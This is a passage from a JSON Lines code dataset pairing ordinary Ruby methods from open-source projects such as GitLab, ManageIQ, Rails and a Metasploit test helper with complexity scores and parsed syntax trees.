,\"children\":[\"color\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMED_COLOR_REGEX\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"color\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"default_color\"]}]}]}","id":"a3e3bbb8-f11c-499c-bc13-246fe21d0615"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state/purging.rb","start_line":25,"raw_source":"def purge_date\n ::Settings.vim_performance_states.history.keep_states.to_i_with_method.seconds.ago.utc\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"vim_performance_states\"]},\"history\"]},\"keep_states\"]},\"to_i_with_method\"]},\"seconds\"]},\"ago\"]},\"utc\"]}]}","id":"8343182a-71ce-4e32-9122-10949eb2b2d1"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/readonly_test.rb","start_line":94,"raw_source":"def assert_readonly_fetch_multi\n cas_multi = Spy.on(backend, :cas_multi).and_call_through\n write = Spy.on(backend, :write).and_call_through\n yield\n assert(cas_multi.has_been_called?)\n refute(write.has_been_called?)\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_readonly_fetch_multi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cas_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spy\"]},\"on\",{\"type\":\"send\",\"children\":[null,\"backend\"]},{\"type\":\"sym\",\"children\":[\"cas_multi\"]}]},\"and_call_through\"]}]},{\"type\":\"lvasgn\",\"children\":[\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spy\"]},\"on\",{\"type\":\"send\",\"children\":[null,\"backend\"]},{\"type\":\"sym\",\"children\":[\"write\"]}]},\"and_call_through\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cas_multi\"]},\"has_been_called?\"]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"write\"]},\"has_been_called?\"]}]}]}]}","id":"9f4ced0c-b581-423f-9421-b6e4f103221a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_jar_spec.rb","start_line":9,"raw_source":"def random_cookie\n Msf::Exploit::Remote::HTTP::HttpCookie.new(\n random_string,\n random_string,\n max_age: Faker::Number.within(range: 1..100),\n path: '/' + random_string,\n secure: Faker::Boolean.boolean,\n httponly: Faker::Boolean.boolean,\n domain: random_string\n )\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"random_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"HttpCookie\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"random_string\"]},{\"type\":\"send\",\"children\":[null,\"random_string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_age\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Number\"]},\"within\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[100]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"random_string\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Boolean\"]},\"boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httponly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Boolean\"]},\"boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"random_string\"]}]}]}]}]}","id":"76fa4dce-69d1-4086-8ff1-58b3cfcf3092"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/response_with_limit.rb","start_line":4,"raw_source":"def initialize(response, limit)\n @response = response\n @limit = limit\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"limit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}","id":"7b5f8df8-0f05-44f4-a97f-14cfebf4c41f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/methods/metric_options.rb","start_line":16,"raw_source":"def docstring(docstring = nil)\n @docstring = docstring unless docstring.nil?\n\n @docstring\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"docstring\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"docstring\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"docstring\"]},\"nil?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@docstring\",{\"type\":\"lvar\",\"children\":[\"docstring\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@docstring\"]}]}]}","id":"12cc56d1-018d-411b-9d7a-0092fe1df1ec"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/users_controller.rb","start_line":24,"raw_source":"def search\n authorize(User, :search_by_email?)\n\n not_found unless params[:email]\n\n @user = User.find_by(email: params[:email])\n\n if @user\n render :show\n else\n not_found\n end\n end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"sym\",\"children\":[\"search_by_email?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},null,{\"type\":\"send\",\"children\":[null,\"not_found\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"show\"]}]},{\"type\":\"send\",\"children\":[null,\"not_found\"]}]}]}]}","id":"4caf417a-a2db-4914-855e-7db610c347e3"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template_ansible_tower.rb","start_line":26,"raw_source":"def remove_invalid_resource\n # remove the resource from both memory and table\n service_resources.to_a.delete_if do |r|\n r.reload if r.persisted?\n r.destroy if r.resource.blank?\n end\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_invalid_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"to_a\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"reload\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"resource\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"destroy\"]},null]}]}]}]}","id":"ebbc8a27-157a-4ecc-b521-9407bf96919c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/file_decompression_service.rb","start_line":48,"raw_source":"def validate_tmpdir\n Gitlab::PathTraversal.check_allowed_absolute_path!(tmpdir, [Dir.tmpdir])\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_tmpdir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PathTraversal\"]},\"check_allowed_absolute_path!\",{\"type\":\"send\",\"children\":[null,\"tmpdir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"tmpdir\"]}]}]}]}","id":"bf6da949-cdb3-461d-9302-3b322312bcbe"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/authentication/registration.rb","start_line":49,"raw_source":"def expect_self_registration_selected(key)\n expect(page).to have_field(\"settings[self_registration]\",\n with: Setting::SelfRegistration.value(key:))\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_self_registration_selected\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"str\",\"children\":[\"settings[self_registration]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"SelfRegistration\"]},\"value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}]}]}","id":"45c08962-1a9a-4f76-9754-d1df9b90e418"} {"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/base.rb","start_line":153,"raw_source":"def before_all_transactions(*callbacks, &block)\n @state_machine.add_global_callbacks(:before_all_transactions, *callbacks, &block)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_all_transactions\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"callbacks\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state_machine\"]},\"add_global_callbacks\",{\"type\":\"sym\",\"children\":[\"before_all_transactions\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callbacks\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"5c6647fa-85d0-4fdb-b6d9-0fb3b5ce7645"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/file_export_service.rb","start_line":46,"raw_source":"def export_service\n @export_service ||= case relation\n when FileTransfer::BaseConfig::UPLOADS_RELATION\n UploadsExportService.new(portable, export_path)\n when FileTransfer::ProjectConfig::LFS_OBJECTS_RELATION\n LfsObjectsExportService.new(portable, export_path)\n when FileTransfer::ProjectConfig::REPOSITORY_BUNDLE_RELATION\n RepositoryBundleExportService.new(portable.repository, export_path, relation)\n when FileTransfer::ProjectConfig::DESIGN_BUNDLE_RELATION\n RepositoryBundleExportService.new(portable.design_repository, export_path, relation)\n else\n raise BulkImports::Error, 'Unsupported relation export type'\n end\n end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"export_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@export_service\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTransfer\"]},\"BaseConfig\"]},\"UPLOADS_RELATION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadsExportService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"portable\"]},{\"type\":\"send\",\"children\":[null,\"export_path\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTransfer\"]},\"ProjectConfig\"]},\"LFS_OBJECTS_RELATION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsExportService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"portable\"]},{\"type\":\"send\",\"children\":[null,\"export_path\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTransfer\"]},\"ProjectConfig\"]},\"REPOSITORY_BUNDLE_RELATION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RepositoryBundleExportService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"portable\"]},\"repository\"]},{\"type\":\"send\",\"children\":[null,\"export_path\"]},{\"type\":\"send\",\"children\":[null,\"relation\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileTransfer\"]},\"ProjectConfig\"]},\"DESIGN_BUNDLE_RELATION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RepositoryBundleExportService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"portable\"]},\"design_repository\"]},{\"type\":\"send\",\"children\":[null,\"export_path\"]},{\"type\":\"send\",\"children\":[null,\"relation\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Error\"]},{\"type\":\"str\",\"children\":[\"Unsupported relation export type\"]}]}]}]}]}","id":"519cd03f-026d-42e2-b96d-3fff3b6336c4"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_configuration.rb","start_line":28,"raw_source":"def overrides_for(context)\n Overrides.new(options.fetch(OVERRIDES_KEY, {})).for_context(context)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"overrides_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Overrides\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"fetch\",{\"type\":\"const\",\"children\":[null,\"OVERRIDES_KEY\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"for_context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}","id":"b0e1aa4d-ae23-4e0f-95cb-525ff0f10136"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":802,"raw_source":"def pages_access_control_trie(namespaces = self_and_descendants)\n traversal_ids = namespaces.joins(:namespace_settings).where(namespace_settings: { force_pages_access_control: true }).map(&:traversal_ids)\n\n Namespaces::Traversal::TrieNode.build(traversal_ids)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_access_control_trie\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"namespaces\",{\"type\":\"send\",\"children\":[null,\"self_and_descendants\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traversal_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"namespace_settings\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force_pages_access_control\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"traversal_ids\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"Traversal\"]},\"TrieNode\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"traversal_ids\"]}]}]}]}","id":"10bda023-0ff0-4234-b5b8-b1e86d1c4c72"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/scripts/fluent/plugin/out_test2.rb","start_line":54,"raw_source":"def records\n all = []\n @emit_streams.each {|tag,events|\n events.each {|time,record|\n all << record\n }\n }\n all\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@emit_streams\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"all\"]}]}]}","id":"81834a18-6dd9-4dc4-8381-b811c0b0f1cd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/merge_requests.rb","start_line":147,"raw_source":"def merge_request_status_email(recipient_id, merge_request_id, status, updated_by_user_id, reason = nil)\n setup_merge_request_mail(merge_request_id, recipient_id)\n\n @mr_status = status\n @updated_by = User.find(updated_by_user_id)\n mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_status_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"merge_request_id\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_merge_request_mail\",{\"type\":\"lvar\",\"children\":[\"merge_request_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mr_status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@updated_by\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"updated_by_user_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mail_answer_thread\",{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_thread_options\",{\"type\":\"lvar\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}","id":"b47ab128-c1e0-496f-a3cf-0811d10f19a2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql/subscriptions/action_cable/mock_action_cable.rb","start_line":69,"raw_source":"def find_by_gid(gid)\n return unless gid\n\n if gid.model_class < ApplicationRecord\n Gitlab::Graphql::Loaders::BatchModelLoader.new(gid.model_class, gid.model_id).find\n elsif gid.model_class.respond_to?(:lazy_find)\n gid.model_class.lazy_find(gid.model_id)\n else\n gid.find\n end\n end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_gid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Loaders\"]},\"BatchModelLoader\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_id\"]}]},\"find\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"lazy_find\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_class\"]},\"lazy_find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"model_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gid\"]},\"find\"]}]}]}]}]}","id":"34517dd1-2529-45bf-bb8a-aa0deeb9de06"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/hook_generator_test.rb","start_line":14,"raw_source":"def test_hook_added\n assert GeneratorWithHook.respond_to?(:test_framework_generator)\n assert GeneratorWithHook.hooks.key?(:test_framework)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hook_added\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratorWithHook\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"test_framework_generator\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratorWithHook\"]},\"hooks\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"test_framework\"]}]}]}]}]}","id":"f7683c39-2d54-4275-8311-7503b229b9ab"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/tags/bulk_insert.rb","start_line":14,"raw_source":"def self.bulk_insert_tags!(taggables, config: nil)\n Gitlab::Ci::Tags::BulkInsert.new(taggables, config: config).insert!\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bulk_insert_tags!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taggables\"]},{\"type\":\"kwoptarg\",\"children\":[\"config\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Tags\"]},\"BulkInsert\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"taggables\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]},\"insert!\"]}]}","id":"1cfb7e6f-2bd9-4a61-9626-4a6ef04b2136"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/links/base_service.rb","start_line":20,"raw_source":"def allowed_params\n Params.new(params).allowed_params\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Params\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"allowed_params\"]}]}","id":"d95e14c1-d413-487c-bf0a-8e9919cafa86"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/benchmarks/flat_map_vs_inject.rb","start_line":5,"raw_source":"def flat_map_using_yield(array)\n array.flat_map { |item| yield item }\nend","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"flat_map_using_yield\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}","id":"db8d2756-74cb-4911-84be-f28998aa651a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/merge_request/diff_notes_spec.rb","start_line":11,"raw_source":"def noteable_query(noteable_fields)\n <<~QRY\n {\n project(fullPath: \"#{noteable.project.full_path}\") {\n id\n mergeRequest(iid: \"#{noteable.iid}\") {\n #{noteable_fields}\n }\n }\n }\n QRY\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"noteable_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"noteable_fields\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\" project(fullPath: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\") {\\n\"]},{\"type\":\"str\",\"children\":[\" id\\n\"]},{\"type\":\"str\",\"children\":[\" mergeRequest(iid: \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"iid\"]}]},{\"type\":\"str\",\"children\":[\"\\\") {\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable_fields\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]}]}","id":"426cb0f6-4de6-4690-968f-1a1eca0778d2"} 